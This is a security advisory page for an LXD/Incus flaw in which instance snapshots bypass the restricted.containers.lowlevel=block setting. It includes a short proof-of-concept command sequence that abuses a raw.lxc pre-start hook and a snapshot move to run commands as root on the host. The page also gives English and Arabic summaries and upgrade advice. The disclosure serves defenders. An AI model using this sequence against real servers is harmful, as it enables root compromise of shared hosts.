What’s Vulnerable › Vulnerabilities

GHSA-47w9-6r3f-938g: LXD has restricted project bypass leading to arbitrary command execution

Description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv ### Summary Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. ### Details Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. ### PoC ``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ``` ### Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.

Summary

LXD/Incus instance snapshots ignore the restricted.containers.lowlevel=block setting, so low-level hooks such as raw.lxc and raw.qemu can be abused. A crafted instance and snapshot can be moved into a restricted project and restored, allowing arbitrary command execution on the host with root privileges. This is a critical project-restriction bypass (CVSS 9.9); no exploitation in CISA KEV is reported. Affected products and versions are not fully specified, but the issue is fixed in 0.0.0-20260630083100-c5184be310b1; upgrade to that build or later and avoid restoring untrusted snapshots into restricted projects.

تتجاهل لقطات snapshots الخاصة بـ LXD/Incus الإعداد restricted.containers.lowlevel=block، ما يسمح بإساءة استخدام خطافات lowlevel مثل raw.lxc وraw.qemu. ويمكن إنشاء instance ولقطة snapshot خبيثين محلياً ثم نقلهما إلى مشروع مقيّد واستعادة اللقطة لتنفيذ أوامر عشوائية على المضيف بصلاحيات root. الثغرة حرجة (CVSS 9.9) وتتجاوز قيود المشروع، ولا يُبلّغ عن استغلالها في CISA KEV. لم تُحدَّد المنتجات والإصدارات المتأثرة بالكامل، لكن الإصلاح متوفر في 0.0.0-20260630083100-c5184be310b1؛ يُنصح بالترقية إلى هذا الإصدار أو أحدث وتجنّب استعادة لقطات غير موثوقة في مشاريع مقيّدة.

Affected products

How to fix

Upgrade to a fixed version: Go Github.Com/Canonical/Lxd 0.0.0-20260630083100-c5184be310b1. Check the vendor advisory for mitigations.

References

Get alerted when GHSA-47w9-6r3f-938g or the next vulnerability affects your stack